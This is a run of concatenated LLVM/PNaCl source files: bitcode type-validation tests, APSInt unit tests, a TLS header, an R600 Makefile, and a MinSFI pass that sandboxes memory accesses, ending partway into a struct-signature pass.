// Test that we reject <2 x double>.
const uint64_t Vector2xDouble[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 2, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector2xDouble)));
EXPECT_EQ(
"Error(36:2): Vector type <2 x double> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <2 x double>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <4 x double>.
const uint64_t Vector3xDouble[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector3xDouble)));
EXPECT_EQ(
"Error(36:2): Vector type <4 x double> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x double>;\n",
Munger.getLinesWithSubstring("@t1"));
// Test that we reject <8 x double>.
const uint64_t Vector8xDouble[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 8, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(Vector8xDouble)));
EXPECT_EQ(
"Error(36:2): Vector type <8 x double> not allowed.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <8 x double>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Tests that we don't accept vectors of type void.
TEST(NaClObjDumpTypesTest, TestVoidVectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 2, Terminator,
3, 12, 4, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = void;\n"
" @t1 = <4 x i32>;\n"
"Error(36:2): Vectors can only be defined on primitive types. "
"Found void. Assuming i32 instead.\n"
" }\n"
"}\n",
Munger.getTestResults());
}
// Tests that we don't allow vectors of vectors.
TEST(NaClObjDumpTypesTest, TestNestedVectorRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 3, Terminator,
3, 3, Terminator,
3, 12, 4, 0, Terminator,
3, 12, 4, 1, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 3;\n"
" @t0 = float;\n"
" @t1 = <4 x float>;\n"
" @t2 = <4 x i32>;\n"
"Error(39:4): Vectors can only be defined on primitive types. "
"Found <4 x float>. Assuming i32 instead.\n"
" }\n"
"}\n",
Munger.getTestResults());
}
// Test handling of the function record in the types block.
TEST(NaClObjDumpTypesTest, TestFunctionRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 7, Terminator,
3, 2, Terminator,
3, 7, 16, Terminator,
3, 7, 32, Terminator,
3, 3, Terminator,
3, 4, Terminator,
3, 12, 4, 2, Terminator,
3, 21, 0, 0, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t TypeCountIndex = 2;
const uint64_t ReplaceIndex = 9;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test void() signature.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 7;\n"
" @t0 = void;\n"
" @t1 = i16;\n"
" @t2 = i32;\n"
" @t3 = float;\n"
" @t4 = double;\n"
" @t5 = <4 x i32>;\n"
" @t6 = void ();\n"
" }\n}\n",
Munger.getTestResults());
EXPECT_EQ(
" @t6 = void ();\n",
Munger.getLinesWithSubstring("@t6"));
// Tests using integers for parameters and return types.
const uint64_t UsesIntegerTypes[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 0, 1, 2, 1, Terminator
};
EXPECT_TRUE(Munger.runTestForAssembly(ARRAY(UsesIntegerTypes)));
EXPECT_EQ(
" @t6 = i16 (i32, i16);\n",
Munger.getLinesWithSubstring("@t6"));
// Test using float point types for parameters and return types.
const uint64_t UsesFloatingTypes[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 0, 3, 3, 4, Terminator
};
EXPECT_TRUE(Munger.runTestForAssembly(ARRAY(UsesFloatingTypes)));
EXPECT_EQ(
" @t6 = float (float, double);\n",
Munger.getLinesWithSubstring("@t6"));
// Test using vector types for parameters and return types.
const uint64_t UsesVectorTypes[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 0, 5, 5, Terminator
};
EXPECT_TRUE(Munger.runTestForAssembly(ARRAY(UsesVectorTypes)));
EXPECT_EQ(
" @t6 = <4 x i32> (<4 x i32>);\n",
Munger.getLinesWithSubstring("@t6"));
// Test error if function record is too short.
const uint64_t FunctionRecordTooShort[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(FunctionRecordTooShort)));
EXPECT_EQ(
"Error(48:6): Function record should contain at least 2 arguments. "
"Found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t6 = void;\n",
Munger.getLinesWithSubstring("@t6"));
// Tests errror if function record specifies varargs.
const uint64_t FunctionRecordWithVarArgs[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 1, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(FunctionRecordWithVarArgs)));
EXPECT_EQ(
"Error(48:6): Functions with variable length arguments is "
"not supported\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t6 = void (...);\n",
Munger.getLinesWithSubstring("@t6"));
// Tests if void is used as a parameter type.
const uint64_t VoidParamType[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 21, 0, 0, 0, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(VoidParamType)));
EXPECT_EQ(
"Error(48:6): Invalid type for parameter 1. Found: void. Assuming: i32\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t6 = void (i32);\n",
Munger.getLinesWithSubstring("@t6"));
// Tests using a function type as the return type.
const uint64_t FunctionReturnType[] = {
TypeCountIndex, NaClMungedBitcode::Replace, 3, 1, 8, Terminator,
ReplaceIndex, NaClMungedBitcode::AddAfter, 3, 21, 0, 6, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(FunctionReturnType)));
EXPECT_EQ(
"Error(52:0): Invalid return type. Found: void (). Assuming: i32\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t6 = void ();\n",
Munger.getLinesWithSubstring("@t6"));
EXPECT_EQ(
" @t7 = i32 ();\n",
Munger.getLinesWithSubstring("@t7"));
// Tests using a function type as a parameter type.
const uint64_t FunctionParamType[] = {
TypeCountIndex, NaClMungedBitcode::Replace, 3, 1, 8, Terminator,
ReplaceIndex, NaClMungedBitcode::AddAfter, 3, 21, 0, 0, 6, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(FunctionParamType)));
EXPECT_EQ(
"Error(52:0): Invalid type for parameter 1. Found: void (). "
"Assuming: i32\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t6 = void ();\n",
Munger.getLinesWithSubstring("@t6"));
EXPECT_EQ(
" @t7 = void (i32);\n",
Munger.getLinesWithSubstring("@t7"));
}
// Tests how we report unknown record codes in the types block.
TEST(NaClObjDumpTypesTest, TestUnknownTypesRecordCode) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 1, Terminator,
3, 10, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 1;\n"
"Error(34:4): Unknown record code in types block. Found: 10\n"
" }\n"
"Error(36:2): Expected 1 types but found: 0\n"
"}\n",
Munger.getTestResults());
}
} // End of namespace naclmungetest
<file_sep>/lib/Transforms/NaCl/ExpandTls.h
//===-- ExpandTls.h - Convert TLS variables to a concrete layout-*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef TRANSFORMS_NACL_EXPANDTLS_H
#define TRANSFORMS_NACL_EXPANDTLS_H
#include <stdint.h>
#include <vector>
#include "llvm/IR/Constants.h"
#include "llvm/IR/Module.h"
namespace llvm {
struct TlsVarInfo {
GlobalVariable *TlsVar;
// Offset of the TLS variable. Initially this is a non-negative offset
// from the start of the TLS block. After we adjust for the x86-style
// layout, this becomes a negative offset from the thread pointer.
uint32_t Offset;
};
struct TlsTemplate {
std::vector<TlsVarInfo> TlsVars;
Constant *Data;
uint32_t DataSize;
uint32_t TotalSize;
uint32_t Alignment;
};
void buildTlsTemplate(Module &M, TlsTemplate *Result);
}
#endif
<file_sep>/unittests/ADT/APSIntTest.cpp
//===- llvm/unittest/ADT/APSIntTest.cpp - APSInt unit tests ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/APSInt.h"
#include "gtest/gtest.h"
using namespace llvm;
namespace {
TEST(APSIntTest, MoveTest) {
APSInt A(32, true);
EXPECT_TRUE(A.isUnsigned());
APSInt B(128, false);
A = B;
EXPECT_FALSE(A.isUnsigned());
APSInt C(B);
EXPECT_FALSE(C.isUnsigned());
APInt Wide(256, 0);
const uint64_t *Bits = Wide.getRawData();
APSInt D(std::move(Wide));
EXPECT_TRUE(D.isUnsigned());
EXPECT_EQ(Bits, D.getRawData()); // Verify that "Wide" was really moved.
A = APSInt(64, true);
EXPECT_TRUE(A.isUnsigned());
Wide = APInt(128, 1);
Bits = Wide.getRawData();
A = std::move(Wide);
EXPECT_TRUE(A.isUnsigned());
EXPECT_EQ(Bits, A.getRawData()); // Verify that "Wide" was really moved.
}
TEST(APSIntTest, get) {
EXPECT_TRUE(APSInt::get(7).isSigned());
EXPECT_EQ(64u, APSInt::get(7).getBitWidth());
EXPECT_EQ(7u, APSInt::get(7).getZExtValue());
EXPECT_EQ(7, APSInt::get(7).getSExtValue());
EXPECT_TRUE(APSInt::get(-7).isSigned());
EXPECT_EQ(64u, APSInt::get(-7).getBitWidth());
EXPECT_EQ(-7, APSInt::get(-7).getSExtValue());
EXPECT_EQ(UINT64_C(0) - 7, APSInt::get(-7).getZExtValue());
}
TEST(APSIntTest, getUnsigned) {
EXPECT_TRUE(APSInt::getUnsigned(7).isUnsigned());
EXPECT_EQ(64u, APSInt::getUnsigned(7).getBitWidth());
EXPECT_EQ(7u, APSInt::getUnsigned(7).getZExtValue());
EXPECT_EQ(7, APSInt::getUnsigned(7).getSExtValue());
EXPECT_TRUE(APSInt::getUnsigned(-7).isUnsigned());
EXPECT_EQ(64u, APSInt::getUnsigned(-7).getBitWidth());
EXPECT_EQ(-7, APSInt::getUnsigned(-7).getSExtValue());
EXPECT_EQ(UINT64_C(0) - 7, APSInt::getUnsigned(-7).getZExtValue());
}
TEST(APSIntTest, getExtValue) {
EXPECT_TRUE(APSInt(APInt(3, 7), true).isUnsigned());
EXPECT_TRUE(APSInt(APInt(3, 7), false).isSigned());
EXPECT_TRUE(APSInt(APInt(4, 7), true).isUnsigned());
EXPECT_TRUE(APSInt(APInt(4, 7), false).isSigned());
EXPECT_TRUE(APSInt(APInt(4, -7), true).isUnsigned());
EXPECT_TRUE(APSInt(APInt(4, -7), false).isSigned());
EXPECT_EQ(7, APSInt(APInt(3, 7), true).getExtValue());
EXPECT_EQ(-1, APSInt(APInt(3, 7), false).getExtValue());
EXPECT_EQ(7, APSInt(APInt(4, 7), true).getExtValue());
EXPECT_EQ(7, APSInt(APInt(4, 7), false).getExtValue());
EXPECT_EQ(9, APSInt(APInt(4, -7), true).getExtValue());
EXPECT_EQ(-7, APSInt(APInt(4, -7), false).getExtValue());
}
TEST(APSIntTest, compareValues) {
auto U = [](uint64_t V) { return APSInt::getUnsigned(V); };
auto S = [](int64_t V) { return APSInt::get(V); };
// Bit-width matches and is-signed.
EXPECT_TRUE(APSInt::compareValues(S(7), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8), S(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(7), S(7)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8), S(-7)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-7)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-8)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-8), S(-7)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-7)) == 0);
// Bit-width matches and not is-signed.
EXPECT_TRUE(APSInt::compareValues(U(7), U(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8), U(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7), U(7)) == 0);
// Bit-width matches and mixed signs.
EXPECT_TRUE(APSInt::compareValues(U(7), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8), S(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7), S(7)) == 0);
EXPECT_TRUE(APSInt::compareValues(U(8), S(-7)) > 0);
// Bit-width mismatch and is-signed.
EXPECT_TRUE(APSInt::compareValues(S(7).trunc(32), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8).trunc(32), S(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(7).trunc(32), S(7)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7).trunc(32), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8).trunc(32), S(-7)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-7).trunc(32), S(-7)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7).trunc(32), S(-8)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-8).trunc(32), S(-7)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(-7).trunc(32), S(-7)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(7), S(8).trunc(32)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8), S(7).trunc(32)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(7), S(7).trunc(32)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(8).trunc(32)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(8), S(-7).trunc(32)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-7).trunc(32)) == 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-8).trunc(32)) > 0);
EXPECT_TRUE(APSInt::compareValues(S(-8), S(-7).trunc(32)) < 0);
EXPECT_TRUE(APSInt::compareValues(S(-7), S(-7).trunc(32)) == 0);
// Bit-width mismatch and not is-signed.
EXPECT_TRUE(APSInt::compareValues(U(7), U(8).trunc(32)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8), U(7).trunc(32)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7), U(7).trunc(32)) == 0);
EXPECT_TRUE(APSInt::compareValues(U(7).trunc(32), U(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8).trunc(32), U(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7).trunc(32), U(7)) == 0);
// Bit-width mismatch and mixed signs.
EXPECT_TRUE(APSInt::compareValues(U(7).trunc(32), S(8)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8).trunc(32), S(7)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7).trunc(32), S(7)) == 0);
EXPECT_TRUE(APSInt::compareValues(U(8).trunc(32), S(-7)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7), S(8).trunc(32)) < 0);
EXPECT_TRUE(APSInt::compareValues(U(8), S(7).trunc(32)) > 0);
EXPECT_TRUE(APSInt::compareValues(U(7), S(7).trunc(32)) == 0);
EXPECT_TRUE(APSInt::compareValues(U(8), S(-7).trunc(32)) > 0);
}
}
<file_sep>/lib/Target/R600/Makefile
##===- lib/Target/R600/Makefile ---------------------------*- Makefile -*-===##
#
# The LLVM Compiler Infrastructure
#
# This file is distributed under the University of Illinois Open Source
# License. See LICENSE.TXT for details.
#
##===----------------------------------------------------------------------===##
LEVEL = ../../..
LIBRARYNAME = LLVMR600CodeGen
TARGET = AMDGPU
# Make sure that tblgen is run, first thing.
BUILT_SOURCES = AMDGPUGenRegisterInfo.inc AMDGPUGenInstrInfo.inc \
AMDGPUGenDAGISel.inc AMDGPUGenSubtargetInfo.inc \
AMDGPUGenMCCodeEmitter.inc AMDGPUGenCallingConv.inc \
AMDGPUGenIntrinsics.inc AMDGPUGenDFAPacketizer.inc \
AMDGPUGenAsmWriter.inc AMDGPUGenAsmMatcher.inc
DIRS = AsmParser InstPrinter TargetInfo MCTargetDesc
include $(LEVEL)/Makefile.common
<file_sep>/lib/Transforms/MinSFI/SandboxMemoryAccesses.cpp
//===- SandboxMemoryAccesses.cpp - Apply SFI sandboxing to used pointers --===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass applies SFI sandboxing to all memory access instructions in the IR.
// Pointers are truncated to a given number of bits and shifted into a memory
// region allocated by the runtime. The runtime reads the pointer bit size
// from the "__sfi_pointer_size" exported constant and stores the base of the
// correspondingly-sized memory region into the "__sfi_memory_base" global
// variable.
//
// This is meant to be the next to last pass of MinSFI, followed only by a CFI
// pass. Because there is no runtime verifier, it must be trusted to correctly
// sandbox all dereferenced pointers.
//
// Sandboxed instructions:
// - load, store
// - memcpy, memmove, memset
// - @llvm.nacl.atomic.load.*
// - @llvm.nacl.atomic.store.*
// - @llvm.nacl.atomic.rmw.*
// - @llvm.nacl.atomic.cmpxchg.*
//
// Whitelisted instructions:
// - ptrtoint
// - bitcast
//
// This pass fails if code contains instructions with pointer-type operands
// not listed above. PtrToInt and BitCast instructions are whitelisted because
// they do not access memory and therefore do not need to be sandboxed.
//
// The pass recognizes the pointer arithmetic produced by ExpandGetElementPtr
// and reuses its final integer value to save target instructions. This
// optimization, as well as the memcpy, memmove and memset intrinsics, is safe
// only if the runtime creates a guard region after the dedicated memory region.
// The guard region must be the same size as the memory region.
//
// Both 32-bit and 64-bit architectures are supported. The necessary pointer
// arithmetic generated by the pass always uses 64-bit integers. However, when
// compiling for 32-bit targets, the backend is expected to optimize the code
// by deducing that the top bits are always truncated during the final cast to
// a pointer.
//
// The size of the runtime address subspace can be changed with the
// "-minsfi-ptrsize" command-line option. Depending on the target architecture,
// the value of this constant can have an effect on the efficiency of the
// generated code. On x86-64 and AArch64, 32-bit subspace is the most efficient
// because pointers can be sandboxed without bit masking. On AArch32, subspaces
// of 24-31 bits will be more efficient because the bit mask fits into a single
// BIC instruction immediate. Code for x86 and MIPS is the same for all values.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/NaClAtomicIntrinsics.h"
#include "llvm/Transforms/MinSFI.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
static const char ExternalSymName_MemoryBase[] = "__sfi_memory_base";
static const char ExternalSymName_PointerSize[] = "__sfi_pointer_size";
namespace {
// This pass needs to be a ModulePass because it adds a GlobalVariable.
class SandboxMemoryAccesses : public ModulePass {
Value *MemBaseVar;
Value *PtrMask;
DataLayout *DL;
Type *I32;
Type *I64;
void sandboxPtrOperand(Instruction *Inst, unsigned int OpNum,
bool IsFirstClassValueAccess, Function &Func,
Value **MemBase);
void sandboxLenOperand(Instruction *Inst, unsigned int OpNum);
void checkDoesNotHavePointerOperands(Instruction *Inst);
void runOnFunction(Function &Func);
public:
static char ID;
SandboxMemoryAccesses() : ModulePass(ID), MemBaseVar(NULL), PtrMask(NULL),
DL(NULL), I32(NULL), I64(NULL) {
initializeSandboxMemoryAccessesPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
bool SandboxMemoryAccesses::runOnModule(Module &M) {
DataLayout Layout(&M);
DL = &Layout;
I32 = Type::getInt32Ty(M.getContext());
I64 = Type::getInt64Ty(M.getContext());
// Create a global variable with external linkage that will hold the base
// address of the sandbox. This variable is defined and initialized by
// the runtime. We assume that all original global variables have been
// removed during the AllocateDataSegment pass.
MemBaseVar = M.getOrInsertGlobal(ExternalSymName_MemoryBase, I64);
// Create an exported global constant holding the size of the sandboxed
// pointers. If it is smaller than 32 bits, prepare the corresponding bit mask
// will later be applied on pointer and length arguments of instructions.
unsigned int PointerSize = minsfi::GetPointerSizeInBits();
new GlobalVariable(M, I32, /*isConstant=*/true,
GlobalVariable::ExternalLinkage,
ConstantInt::get(I32, PointerSize),
ExternalSymName_PointerSize);
if (PointerSize < 32)
PtrMask = ConstantInt::get(I32, (1U << PointerSize) - 1);
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func)
runOnFunction(*Func);
return true;
}
void SandboxMemoryAccesses::sandboxPtrOperand(Instruction *Inst,
unsigned int OpNum,
bool IsFirstClassValueAccess,
Function &Func, Value **MemBase) {
// Function must first acquire the sandbox memory region base from
// the global variable. If this is the first sandboxed pointer, insert
// the corresponding load instruction at the beginning of the function.
if (!*MemBase) {
Instruction *MemBaseInst = new LoadInst(MemBaseVar, "mem_base");
Func.getEntryBlock().getInstList().push_front(MemBaseInst);
*MemBase = MemBaseInst;
}
Value *Ptr = Inst->getOperand(OpNum);
Value *Truncated = NULL, *OffsetConst = NULL;
// The ExpandGetElementPtr pass replaces the getelementptr instruction
// with pointer arithmetic. If we recognize that pointer arithmetic pattern
// here, we can sandbox the pointer more efficiently than in the general
// case below.
//
// The recognized pattern is:
// %0 = add i32 %x, <const> ; treated as signed, must be >= 0
// %ptr = inttoptr i32 %0 to <type>*
// and can be replaced with:
// %0 = zext i32 %x to i64
// %1 = add i64 %0, %mem_base
// %2 = add i64 %1, <const> ; extended to i64
// %ptr = inttoptr i64 %2 to <type>*
//
// Since this enables the code to access memory outside the dedicated region,
// this is safe only if the memory region is followed by an equally sized
// guard region.
bool OptimizeGEP = false;
Instruction *RedundantCast = NULL, *RedundantAdd = NULL;
if (IsFirstClassValueAccess) {
if (IntToPtrInst *Cast = dyn_cast<IntToPtrInst>(Ptr)) {
if (BinaryOperator *Op = dyn_cast<BinaryOperator>(Cast->getOperand(0))) {
if (Op->getOpcode() == Instruction::Add) {
if (Op->getType()->isIntegerTy(32)) {
if (ConstantInt *CI = dyn_cast<ConstantInt>(Op->getOperand(1))) {
Type *ValType = Ptr->getType()->getPointerElementType();
int64_t MaxOffset = minsfi::GetAddressSubspaceSize() -
DL->getTypeStoreSize(ValType);
int64_t Offset = CI->getSExtValue();
if ((Offset >= 0) && (Offset <= MaxOffset)) {
Truncated = Op->getOperand(0);
OffsetConst = ConstantInt::get(I64, Offset);
RedundantCast = Cast;
RedundantAdd = Op;
OptimizeGEP = true;
}
}
}
}
}
}
}
// If the pattern above has not been recognized, start by truncating
// the pointer to i32.
if (!OptimizeGEP)
Truncated = new PtrToIntInst(Ptr, I32, "", Inst);
// If the address subspace is smaller than 32 bits, truncate the pointer
// further with a bit mask.
if (PtrMask)
Truncated = BinaryOperator::CreateAnd(Truncated, PtrMask, "", Inst);
// Sandbox the pointer by zero-extending it back to 64 bits, and adding
// the memory region base.
Instruction *Extend = new ZExtInst(Truncated, I64, "", Inst);
Instruction *AddBase = BinaryOperator::CreateAdd(*MemBase, Extend, "", Inst);
Instruction *AddOffset =
OptimizeGEP ? BinaryOperator::CreateAdd(AddBase, OffsetConst, "", Inst)
: AddBase;
Instruction *SandboxedPtr =
new IntToPtrInst(AddOffset, Ptr->getType(), "", Inst);
// Replace the pointer in the sandboxed operand
Inst->setOperand(OpNum, SandboxedPtr);
if (OptimizeGEP) {
// Copy debug information
CopyDebug(AddOffset, RedundantAdd);
CopyDebug(SandboxedPtr, RedundantCast);
// Remove instructions if now dead (order matters)
if (RedundantCast->use_empty())
RedundantCast->eraseFromParent();
if (RedundantAdd->use_empty())
RedundantAdd->eraseFromParent();
}
}
void SandboxMemoryAccesses::sandboxLenOperand(Instruction *Inst,
unsigned int OpNum) {
// Length is assumed to be an i32 value. If the address subspace is smaller,
// truncate the value with a bit mask.
if (PtrMask) {
Value *Len = Inst->getOperand(OpNum);
Instruction *MaskedLen = BinaryOperator::CreateAnd(Len, PtrMask, "", Inst);
Inst->setOperand(OpNum, MaskedLen);
}
}
void SandboxMemoryAccesses::checkDoesNotHavePointerOperands(Instruction *Inst) {
bool hasPointerOperand = false;
// Handle Call instructions separately because they always contain
// a pointer to the target function. Integrity of calls is guaranteed by CFI.
// This pass therefore only checks the function's arguments.
if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
for (unsigned int I = 0, E = Call->getNumArgOperands(); I < E; ++I)
hasPointerOperand |= Call->getArgOperand(I)->getType()->isPointerTy();
} else {
for (unsigned int I = 0, E = Inst->getNumOperands(); I < E; ++I)
hasPointerOperand |= Inst->getOperand(I)->getType()->isPointerTy();
}
if (hasPointerOperand)
report_fatal_error("SandboxMemoryAccesses: unexpected instruction with "
"pointer-type operands");
}
void SandboxMemoryAccesses::runOnFunction(Function &Func) {
Value *MemBase = NULL;
for (Function::iterator BB = Func.begin(), E = Func.end(); BB != E; ++BB) {
for (BasicBlock::iterator Inst = BB->begin(), E = BB->end(); Inst != E;
++Inst) {
if (isa<LoadInst>(Inst)) {
sandboxPtrOperand(Inst, 0, true, Func, &MemBase);
} else if (isa<StoreInst>(Inst)) {
sandboxPtrOperand(Inst, 1, true, Func, &MemBase);
} else if (isa<MemCpyInst>(Inst) || isa<MemMoveInst>(Inst)) {
sandboxPtrOperand(Inst, 0, false, Func, &MemBase);
sandboxPtrOperand(Inst, 1, false, Func, &MemBase);
sandboxLenOperand(Inst, 2);
} else if (isa<MemSetInst>(Inst)) {
sandboxPtrOperand(Inst, 0, false, Func, &MemBase);
sandboxLenOperand(Inst, 2);
} else if (IntrinsicInst *IntrCall = dyn_cast<IntrinsicInst>(Inst)) {
switch (IntrCall->getIntrinsicID()) {
case Intrinsic::nacl_atomic_load:
case Intrinsic::nacl_atomic_cmpxchg:
sandboxPtrOperand(IntrCall, 0, true, Func, &MemBase);
break;
case Intrinsic::nacl_atomic_store:
case Intrinsic::nacl_atomic_rmw:
case Intrinsic::nacl_atomic_is_lock_free:
sandboxPtrOperand(IntrCall, 1, true, Func, &MemBase);
break;
default:
checkDoesNotHavePointerOperands(IntrCall);
}
} else if (!isa<PtrToIntInst>(Inst) && !isa<BitCastInst>(Inst)) {
checkDoesNotHavePointerOperands(Inst);
}
}
}
}
char SandboxMemoryAccesses::ID = 0;
INITIALIZE_PASS(SandboxMemoryAccesses, "minsfi-sandbox-memory-accesses",
"Add SFI sandboxing to memory accesses", false, false)
ModulePass *llvm::createSandboxMemoryAccessesPass() {
return new SandboxMemoryAccesses();
}
<file_sep>/lib/Transforms/NaCl/SimplifyStructRegSignatures.cpp
//===- SimplifyStructRegSignatures.cpp - struct regs to struct pointers----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass replaces function signatures exposing struct registers
// to byval pointer-based signatures.
//
// There are 2 types of signatures that are thus changed:
//
// @foo(%some_struct %val) -> @foo(%some_struct* byval %val)
// and
// %someStruct @bar(<other_args>) -> void @bar(%someStruct* sret, <other_args>)
//
// Such function types may appear in other type declarations, for example:
//
// %a_struct = type { void (%some_struct)*, i32 }
//
// We map such types to corresponding types, mapping the function types
// appropriately:
//
// %a_struct.0 = type { void (%some_struct*)*, i32 }
//===----------------------------------------------------------------------===//
#include "SimplifiedFuncTypeMap.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/DenseSet.h"
#include "llvm/ADT/ilist.h"
#include "llvm/ADT/SetVector.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/Twine.h"
#include "llvm/IR/Argument.h"
#include "llvm/IR/Attributes.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/DebugInfo.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/GlobalValue.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Type.h"
#include "llvm/IR/Use.h"
#include "llvm/IR/User.h"
#include "llvm/IR/Value.h"
#include "llvm/Pass.h"
#include "llvm/PassInfo.h"
#include "llvm/PassRegistry.h"
#include "llvm/PassSupport.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include <cassert>
#include <cstddef>
using namespace llvm;
namespace {
static const unsigned int TypicalFuncArity = 8;
